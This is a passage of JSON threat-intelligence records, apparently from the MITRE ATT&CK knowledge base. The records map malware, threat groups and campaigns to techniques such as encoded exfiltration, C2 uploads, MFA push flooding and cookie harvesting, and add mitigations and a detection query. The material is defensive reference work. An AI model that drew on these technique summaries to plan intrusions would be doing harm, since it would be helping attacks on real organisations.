2019."}],"modified":"2020-03-20T18:06:10.989Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has encoded data using [certutil](https://attack.mitre.org/software/S0160) before exfiltration.(Citation: Unit42 BabyShark Feb 2019)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94ea901d-3904-4d84-9b0f-7df943683cd7","type":"relationship","created":"2021-09-16T20:27:38.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Upload","url":"https://github.com/BishopFox/sliver/blob/ea329226636ab8e470086a17f13aa8d330baad22/client/command/filesystem/upload.go","description":"BishopFox. (n.d.). Sliver Upload. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:17:38.063Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can upload files from the C2 server to the victim machine using the upload command.(Citation: GitHub Sliver Upload)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94ed6275-8583-46e6-bd0c-d7253ef9a2ef","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:34:25.599Z","description":"Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (ex: JScript.dll or vbscript.dll).\n\nAnalytic 1 - Look for unusual module loads associated with scripting languages.\n\n sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational\n| search EventCode=7 ImageLoaded IN (\"C:\\\\Windows\\\\System32\\\\JScript.dll\", \"C:\\\\Windows\\\\System32\\\\vbscript.dll\", \"System.Management.Automation.dll\")","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94f1a9b7-e068-49b8-a2b7-9eb59055476c","type":"relationship","created":"2020-06-02T18:46:58.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."}],"modified":"2020-06-02T19:40:02.006Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has been executed by luring victims to open malicious e-mail attachments.(Citation: Unit 42 CARROTBAT November 2018)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95020349-b1e3-41ad-9fd2-814d36e906c5","type":"relationship","created":"2021-08-10T14:14:03.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T21:09:59.761Z","description":"Train users to look for double extensions in filenames, and in general use training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--950399e7-c9c2-4b53-bcc8-b99d0acba8d1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.683Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) can accept multiple URLs for C2 servers.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9505cb0b-a9b6-4680-94ed-ae74916444f0","created":"2023-03-26T16:38:22.644Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:38:22.644Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) routinely removed their tools, including custom backdoors, once remote access was achieved.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--950c7be9-c84d-4543-9f3b-71eae9019fe4","type":"relationship","created":"2020-02-11T18:26:36.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:26:36.527Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--950d2e53-296a-491e-aadf-8cc5d04df41b","created":"2024-01-02T19:00:26.610Z","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T19:00:26.610Z","description":"[HUI Loader](https://attack.mitre.org/software/S1097) can decrypt and load files containing malicious payloads.(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--950d7968-6a24-44aa-8a17-4a9c5cb64f96","type":"relationship","created":"2020-10-20T19:26:06.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2021-07-26T15:57:50.950Z","description":"TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization. (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--950fca51-66e4-43c6-9af0-839e962b8409","created":"2022-10-04T05:00:14.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"tau bundlore erika noerenberg 2020","description":"Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.","url":"https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"},{"source_name":"sentinellabs resource named fork 2020","description":"Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.","url":"https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:53:55.682Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners.(Citation: tau bundlore erika noerenberg 2020)(Citation: sentinellabs resource named fork 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95122d43-9de8-4eef-bc46-6fdc5cc276a9","type":"relationship","created":"2020-05-21T14:55:00.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T18:57:34.554Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used known administrator account credentials to execute the backdoor directly.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--951774ce-173c-4aaf-a6e3-515ba497d523","created":"2021-03-04T14:47:27.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Exchange Zero Days March 2021","description":"Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html"},{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T18:34:35.421Z","description":"(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9519bd66-c84a-4063-bf64-d17262ce6684","created":"2022-05-25T18:53:56.537Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has disabled antivirus services on targeted systems in order to upload malicious payloads.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-25T18:53:56.537Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--951c72ac-3839-4716-a052-ffa79f5b62fe","type":"relationship","created":"2021-03-23T20:49:40.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.315Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has encoded data as readable Latin characters.(Citation: Securelist ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--951dd0b4-52c4-4f56-bdcd-c76a24b2ba49","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor file systems for changes to application binaries and invalid checksums/signatures.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--952412b3-a7b1-402c-a92e-96830df4d14b","type":"relationship","created":"2020-06-22T14:58:06.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.205Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to download, unpack, and decrypt tar.gz files .(Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9528abfe-4897-4171-8e01-a0ceeb376a9a","created":"2020-11-25T21:00:55.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:11:18.019Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization.(Citation: US District Court Indictment GRU Unit 74455 October 2020) Additionally, [Sandworm Team](https://attack.mitre.org/groups/G0034) has accessed Internet service providers and telecommunication entities that provide mobile connectivity.(Citation: mandiant_apt44_unearthing_sandworm) ","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9529dc44-9a72-49b7-bfea-713356b0f55a","type":"relationship","created":"2020-02-11T18:38:22.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:38:22.699Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--952ec6aa-f5dd-494d-91ea-b3804b843c35","created":"2022-10-19T16:35:51.784Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:51.784Z","description":"Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. Ensure that only approved security applications are used and running on enterprise systems.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--952edf61-e906-4ab5-989f-1d6a5dd95dce","type":"relationship","created":"2020-03-17T14:52:21.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"},{"description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","source_name":"Crowdstrike Helix Kitten Nov 2018"}],"modified":"2020-03-17T14:52:21.694Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links to achieve execution on the target system.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--952ee3df-24da-4537-9e36-583e8f178f50","created":"2023-07-07T18:30:12.418Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-07T18:30:12.418Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) attempted to gain access by continuously sending MFA messages to the victim until they accept the MFA push challenge.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--953091ba-9d00-41ba-8727-014f6d11b5d3","type":"relationship","created":"2021-10-01T21:53:33.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:02.241Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can harvest cookies from Internet Explorer, Edge, Chrome, and Naver Whale browsers.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-30T02:46:16.666Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) extracted documents and bundled them into a RAR archive.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95313794-3eae-4cc3-89aa-4ad0d6d65572","type":"relationship","created":"2019-11-07T20:00:26.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SensePost Outlook Forms","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."},{"source_name":"SensePost Outlook Home Page","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019."}],"modified":"2021-10-15T20:18:30.869Z","description":"For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9532ee14-8d66-41c1-855a-209fbb3ee3af","type":"relationship","created":"2021-12-01T18:55:31.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:55:31.016Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) has the ability to capture screenshots.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95373c46-d959-465a-9ac1-d1d5271805f2","created":"2024-02-13T17:53:37.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:12:21.142Z","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) is a web shell that is capable of arbitrary file read on targeted web servers to exfiltrate items of interest on the victim 